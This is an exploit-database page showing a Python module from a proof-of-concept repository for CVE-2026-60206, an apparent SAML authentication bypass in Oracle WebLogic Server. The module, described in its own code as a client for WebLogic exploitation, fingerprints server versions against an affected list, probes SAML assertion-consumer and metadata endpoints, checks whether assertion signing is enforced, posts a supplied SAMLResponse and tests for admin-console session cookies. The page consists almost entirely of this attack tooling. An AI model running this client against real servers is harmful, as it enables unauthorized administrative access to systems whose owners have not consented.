Exploit database

GH-36d1db1525926e40077bcc7bf6e700f5

imbas007/poc-cve-2026-60206

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-60206

4 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files4
imbas007/poc-cve-2026-60206Revision ff8962e19cd2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

modules/weblogic_client.py

Python · 20,963 bytes
#!/usr/bin/env python3
"""
WebLogic Client Module for CVE-2026-60206
=========================================

HTTP client specialized for Oracle WebLogic Server interaction,
version detection, SAML endpoint probing, and authentication testing.
"""

import re
import sys
import time
import logging
import hashlib
from typing import Optional, Dict, List, Tuple
from urllib.parse import urljoin, urlparse

import urllib3
import requests
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


# ── Version definitions ─────────────────────────────────────────────────────

class WebLogicVersion:
    """WebLogic version information and affected version checking."""

    AFFECTED_VERSIONS = [
        "12.2.1.4.0",
        "14.1.1.0.0",
        "14.1.2.0.0",
        "15.1.1.0.0",
    ]

    VERSION_PATTERNS = {
        # HTTP response headers
        "x-weblogic-server": re.compile(
            r"WebLogic Server\s+(\d+\.\d+\.\d+\.\d+(?:\.\d+)?)", re.IGNORECASE
        ),
        "server": re.compile(
            r"WebLogic Server\s+(\d+\.\d+\.\d+\.\d+(?:\.\d+)?)", re.IGNORECASE
        ),
        # HTML/JS content
        "console_version": re.compile(
            r'WebLogic Server Version:\s*(\d+\.\d+\.\d+\.\d+(?:\.\d+)?)',
        ),
        "bea_version": re.compile(
            r'BEA WebLogic Server\s+(\d+\.\d+\.\d+\.\d+(?:\.\d+)?)',
        ),
        # Error pages
        "error_page": re.compile(
            r'WebLogic Server\s+(\d+\.\d+\.\d+\.\d+(?:\.\d+)?)\s+',
        ),
        # WSDL/XML
        "wsdl_version": re.compile(
            r'WebLogic Server\s+\((\d+\.\d+\.\d+\.\d+(?:\.\d+)?)\)',
        ),
    }

    @classmethod
    def is_affected(cls, version: str) -> bool:
        """Check if a version string matches known affected versions."""
        for affected in cls.AFFECTED_VERSIONS:
            if version.startswith(affected) or version == affected:
                return True

        # Check version ranges
        try:
            parts = [int(x) for x in version.split(".")[:4]]
        except (ValueError, IndexError):
            return False

        # 12.2.1.4.x
        if parts[:3] == [12, 2, 1] and parts[3] >= 4:
            return True
        # 14.1.1.x
        if parts[:3] == [14, 1, 1]:
            return True
        # 14.1.2.x
        if parts[:3] == [14, 1, 2]:
            return True
        # 15.1.1.x
        if parts[:3] == [15, 1, 1]:
            return True

        return False


# ── SAML Endpoint definitions ───────────────────────────────────────────────

class WLSEndpoints:
    """WebLogic SAML and common endpoint paths."""

    SAML_ACS = [
        "/saml2/sp/acs",
        "/saml2/sp/acs/post",
        "/saml2/acs",
        "/saml2/sp/ACS.saml2",
        "/saml/SSO",
        "/saml2/idp/sso",
        "/idp/saml2/sso",
        "/_saml/acs",
        "/saml/acs",
    ]

    SAML_METADATA = [
        "/saml2/sp/metadata",
        "/saml2/idp/metadata",
        "/saml2/metadata",
        "/FedMetaData",
        "/saml/metadata.xml",
    ]

    SAML_SP_INITIATED = [
        "/saml2/sp/sso",
        "/saml2/sp/init",
        "/saml2/sp/sso/post",
    ]

    # Other WebLogic endpoints useful for fingerprinting
    CONSOLE = "/console"
    CONSOLE_LOGIN = "/console/login/LoginForm.jsp"
    WSDL = [
        "/_async/AsyncResponseService?WSDL",
        "/wls-wsat/CoordinatorPortType?WSDL",
    ]
    MANAGEMENT = [
        "/management/tenant-monitoring/servlet",
        "/bea_wls_internal/",
        "/bea_wls_deployment_internal/",
    ]

    # Sensitive paths to check
    SENSITIVE_PATHS = [
        "/console/",
        "/em/",
        "/wls-wsat/",
        "/_async/",
        "/bea_wls_internal/",
        "/bea_wls_deployment_internal/",
    ]


# ── WebLogic HTTP Client ────────────────────────────────────────────────────

class WebLogicClient:
    """HTTP client for WebLogic Server exploitation."""

    def __init__(self,
                 target: str,
                 timeout: int = 30,
                 proxy: Optional[str] = None,
                 verify_ssl: bool = True,
                 cookies: Optional[str] = None,
                 auth: Optional[str] = None):
        self.target = target.rstrip("/")
        self.timeout = timeout
        self.verify_ssl = verify_ssl
        self.logger = logging.getLogger("CVE-2026-60206")
        self._detection_info = {}
        self._detected_saml_endpoints = []

        # Configure session
        self.session = requests.Session()

        # Retry strategy
        retry_strategy = Retry(
            total=2,
            backoff_factor=0.3,
            status_forcelist=[429, 500, 502, 503, 504],
        )
        adapter = HTTPAdapter(max_retries=retry_strategy)
        self.session.mount("http://", adapter)
        self.session.mount("https://", adapter)

        # Proxy
        if proxy:
            self.session.proxies = {"http": proxy, "https": proxy}

        # SSL verification
        self.session.verify = verify_ssl

        # Authentication
        if auth:
            if ":" in auth:
                user, passwd = auth.split(":", 1)
                self.session.auth = (user, passwd)
            else:
                self.session.auth = (auth, "")

        # Cookies
        if cookies:
            for cookie_str in cookies.split(";"):
                cookie_str = cookie_str.strip()
                if "=" in cookie_str:
                    name, value = cookie_str.split("=", 1)
                    self.session.cookies.set(name.strip(), value.strip())

        # Headers
        self.session.headers.update({
            "User-Agent": (
                "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
                "AppleWebKit/537.36 (KHTML, like Gecko) "
                "Chrome/131.0.0.0 Safari/537.36"
            ),
            "Accept": (
                "text/html,application/xhtml+xml,application/xml;"
                "q=0.9,image/webp,*/*;q=0.8"
            ),
            "Accept-Language": "en-US,en;q=0.5",
            "Accept-Encoding": "gzip, deflate",
            "Connection": "keep-alive",
        })

    # ─── HTTP helpers ───────────────────────────────────────────────────

    def _url(self, path: str) -> str:
        """Build full URL from path."""
        return urljoin(self.target, path.lstrip("/"))

    def _request(self, method: str, path: str, **kwargs) -> Optional[requests.Response]:
        """Make an HTTP request with error handling."""
        url = self._url(path)
        try:
            resp = self.session.request(
                method=method,
                url=url,
                timeout=kwargs.pop("timeout", self.timeout),
                verify=kwargs.pop("verify", self.verify_ssl),
                allow_redirects=kwargs.pop("allow_redirects", True),
                **kwargs,
            )
            self.logger.debug(f"  HTTP {method} {url} → {resp.status_code}")
            return resp
        except requests.exceptions.SSLError as e:
            self.logger.debug(f"  SSL Error on {url}: {e}")
            return None
        except requests.exceptions.ConnectionError as e:
            self.logger.debug(f"  Connection error on {url}: {e}")
            return None
        except requests.exceptions.Timeout:
            self.logger.debug(f"  Timeout on {url}")
            return None
        except Exception as e:
            self.logger.debug(f"  Request error on {url}: {e}")
            return None

    def get(self, path: str, **kwargs) -> Optional[requests.Response]:
        return self._request("GET", path, **kwargs)

    def post(self, path: str, **kwargs) -> Optional[requests.Response]:
        return self._request("POST", path, **kwargs)

    # ─── Version detection ──────────────────────────────────────────────

    def detect_version(self) -> Optional[str]:
        """Detect WebLogic Server version through multiple methods."""
        detected_versions = set()

        # 1. Try console page
        resp = self.get("/console/login/LoginForm.jsp")
        if resp and resp.status_code == 200:
            for pattern_name, pattern in WebLogicVersion.VERSION_PATTERNS.items():
                match = pattern.search(resp.text)
                if match:
                    detected_versions.add(match.group(1))

        # 2. Try HEAD request for headers
        resp = self.get("/")
        if resp:
            for header_name in ["X-WebLogic-Server", "Server", "X-Powered-By"]:
                header_val = resp.headers.get(header_name, "")
                for pattern_name, pattern in WebLogicVersion.VERSION_PATTERNS.items():
                    match = pattern.search(header_val)
                    if match:
                        detected_versions.add(match.group(1))

        # 3. Try error pages
        resp = self.get("/nonexistent_path_404_test")
        if resp and resp.status_code in [404, 403, 500]:
            for pattern_name, pattern in WebLogicVersion.VERSION_PATTERNS.items():
                match = pattern.search(resp.text)
                if match:
                    detected_versions.add(match.group(1))

        # 4. Try WSDL
        for wsdl_path in WLSEndpoints.WSDL:
            resp = self.get(wsdl_path)
            if resp and resp.status_code == 200:
                for pattern_name, pattern in WebLogicVersion.VERSION_PATTERNS.items():
                    match = pattern.search(resp.text)
                    if match:
                        detected_versions.add(match.group(1))

        if detected_versions:
            version = max(detected_versions, key=lambda v: tuple(
                int(x) for x in v.split(".")[:4]
            ))
            self._detection_info["version"] = version
            self._detection_info["all_detected"] = list(detected_versions)
            return version

        self._detection_info["version"] = None
        return None

    def is_vulnerable_version(self) -> Optional[bool]:
        """Check if detected version is in the affected range."""
        version = self._detection_info.get("version")
        if not version:
            return None
        return WebLogicVersion.is_affected(version)

    # ─── SAML endpoint probing ──────────────────────────────────────────

    def probe_saml_endpoints(self) -> List[Dict]:
        """Probe for accessible SAML endpoints."""
        results = []

        # Check SP metadata
        for path in WLSEndpoints.SAML_METADATA:
            resp = self.get(path)
            if resp and resp.status_code == 200:
                content_type = resp.headers.get("Content-Type", "")
                if "xml" in content_type or "<md:EntityDescriptor" in resp.text:
                    results.append({
                        "path": path,
                        "type": "metadata",
                        "status": resp.status_code,
                        "has_saml": True,
                    })
                    self._detected_saml_endpoints.append(path)
                    self.logger.info(f"  Found SAML metadata: {path}")

        # Check ACS endpoints
        for path in WLSEndpoints.SAML_ACS:
            # GET to check if endpoint exists
            resp = self.get(path)
            if resp is not None:
                results.append({
                    "path": path,
                    "type": "acs",
                    "status": resp.status_code,
                    "accessible": resp.status_code != 404,
                })
                if resp.status_code != 404:
                    self._detected_saml_endpoints.append(path)
                    self.logger.info(f"  Found SAML ACS: {path} (HTTP {resp.status_code})")

                # Try POST with empty body to check for SAML processing
                post_resp = self.post(
                    path,
                    data="",
                    headers={"Content-Type": "application/x-www-form-urlencoded"},
                )
                if post_resp and post_resp.status_code in [200, 302, 303, 400]:
                    results[-1]["accepts_post"] = True

        # Check SP-initiated SSO
        for path in WLSEndpoints.SAML_SP_INITIATED:
            resp = self.get(path)
            if resp and resp.status_code in [200, 302, 303]:
                results.append({
                    "path": path,
                    "type": "sp_sso",
                    "status": resp.status_code,
                    "redirect": resp.headers.get("Location", ""),
                })
                if "SAMLRequest" in resp.headers.get("Location", ""):
                    self.logger.info(f"  Found SP-initiated SSO: {path} (redirects to IdP)")

        self._detection_info["saml_endpoints"] = results
        return results

    def check_saml_config(self) -> Dict:
        """Check for SAML configuration indicators."""
        config = {
            "want_assertions_signed": "unknown",
            "saml_enabled": False,
            "idp_initiated_enabled": False,
            "sp_initiated_enabled": False,
        }

        # Check if SAML is enabled at all
        metadata_found = any(
            ep.get("type") == "metadata" and ep.get("has_saml")
            for ep in self._detection_info.get("saml_endpoints", [])
        )
        acs_found = any(
            ep.get("type") == "acs" and ep.get("accessible")
            for ep in self._detection_info.get("saml_endpoints", [])
        )
        config["saml_enabled"] = metadata_found or acs_found

        # Check for SP-initiated SSO
        sp_sso_found = any(
            ep.get("type") == "sp_sso"
            for ep in self._detection_info.get("saml_endpoints", [])
        )
        config["sp_initiated_enabled"] = sp_sso_found

        # Try to determine if WantAssertionsSigned is enforced
        # by checking metadata for WantAssertionsSigned attribute
        for path in WLSEndpoints.SAML_METADATA:
            resp = self.get(path)
            if resp and resp.status_code == 200:
                if 'WantAssertionsSigned="true"' in resp.text:
                    config["want_assertions_signed"] = "true"
                elif 'WantAssertionsSigned="false"' in resp.text:
                    config["want_assertions_signed"] = "false"
                break

        self._detection_info["saml_config"] = config
        return config

    # ─── SAML Response Submission ───────────────────────────────────────

    def send_saml_response(self,
                           endpoint: str,
                           saml_xml: str,
                           saml_b64: Optional[str] = None,
                           relay_state: Optional[str] = None) -> Optional[requests.Response]:
        """Send a SAML response to the assertion consumer service.

        Handles both HTTP-POST binding (form-encoded SAMLResponse)
        and HTTP-Redirect binding (query parameter SAMLResponse).
        """
        import base64

        b64 = saml_b64 or base64.b64encode(saml_xml.encode()).decode()

        # Try HTTP-POST binding (most common)
        data = {"SAMLResponse": b64}
        if relay_state:
            data["RelayState"] = relay_state

        self.logger.debug(f"  POST {endpoint} with SAMLResponse ({len(b64)} chars b64)")

        # Try as form-encoded POST
        resp = self.post(
            endpoint,
            data=data,
            allow_redirects=True,
        )

        if resp is not None and resp.status_code in [200, 302, 303]:
            self.logger.debug(
                f"  → HTTP {resp.status_code} "
                f"Location: {resp.headers.get('Location', 'none')}"
            )
            # Check for session cookies
            set_cookies = resp.headers.get("Set-Cookie", "")
            if set_cookies:
                self.logger.debug(f"  → Set-Cookie: {set_cookies}")
            return resp

        # If POST failed, try sending raw XML with Content-Type text/xml
        # (some implementations accept raw SAML XML)
        resp2 = self.post(
            endpoint,
            data=saml_xml,
            headers={"Content-Type": "application/xml"},
            allow_redirects=True,
        )

        if resp2:
            return resp2

        return resp

    # ─── Authentication success detection ───────────────────────────────

    def check_auth_success(self,
                           response: requests.Response,
                           target_user: str = "weblogic") -> bool:
        """Check if authentication was successful based on response.

        Looks for indicators that the SAML assertion was accepted:
        - Session cookies (JSESSIONID, _WL_AUTHCOOKIE_)
        - Redirect to console or application page
        - Absence of error messages
        - Presence of authenticated user indicators
        """
        # 1. Check for WebLogic authentication cookies
        auth_cookies = ["JSESSIONID", "_WL_AUTHCOOKIE_", "ADMINCONSOLESESSION"]
        for cookie_name in auth_cookies:
            if cookie_name in response.cookies:
                self.logger.debug(f"  Found auth cookie: {cookie_name}")
                return True

        # Check Set-Cookie headers
        set_cookie = response.headers.get("Set-Cookie", "")
        for cookie_name in auth_cookies:
            if cookie_name in set_cookie:
                self.logger.debug(f"  Found auth cookie in header: {cookie_name}")
                return True

        # 2. Check for redirect to console
        location = response.headers.get("Location", "")
        if "/console/" in location and "login" not in location.lower():
            self.logger.debug(f"  Redirect to console: {location}")
            return True

        # 3. Check for authenticated content in response body
        if response.status_code == 200:
            body = response.text

            # WebLogic console specific - look for "Home" page content
            authenticated_indicators = [
                "WebLogic Server Console",
                "Change Center",
                "Domain Structure",
                "Home Page",
                "Logged in as",
                "Welcome,",
                "Sign Out",
                "Log Out",
                target_user,  # username appears in page
            ]

            matches = sum(1 for ind in authenticated_indicators if ind in body)
            if matches >= 2:
                self.logger.debug(f"  Found {matches} authenticated indicators")
                return True

        # 4. Check HTTP status codes that indicate success
        if response.status_code in [302, 303]:
            # Redirect without error in URL
            if "error" not in location.lower() and "fail" not in location.lower():
                return True

        return False

    # ─── Utility methods ────────────────────────────────────────────────

    def get_detection_info(self) -> Dict:
        """Get accumulated detection information."""
        return self._detection_info

    def check_endpoint(self, path: str) -> Optional[requests.Response]:
        """Check if a path exists on the target."""
        return self.get(path)

    def fingerprint(self) -> Dict:
        """Comprehensive fingerprinting of the WebLogic instance."""
        info = {}

        # Basic accessibility
        resp = self.get("/")
        info["accessible"] = resp is not None
        if resp:
            info["root_status"] = resp.status_code
            info["server_header"] = resp.headers.get("Server", "")

        # Console accessibility
        resp = self.get(WLSEndpoints.CONSOLE)
        info["console_accessible"] = (
            resp is not None and resp.status_code == 200
        )

        # Sensitive paths
        info["exposed_paths"] = []
        for path in WLSEndpoints.SENSITIVE_PATHS:
            resp = self.get(path)
            if resp and resp.status_code != 404:
                info["exposed_paths"].append({
                    "path": path,
                    "status": resp.status_code,
                })

        return info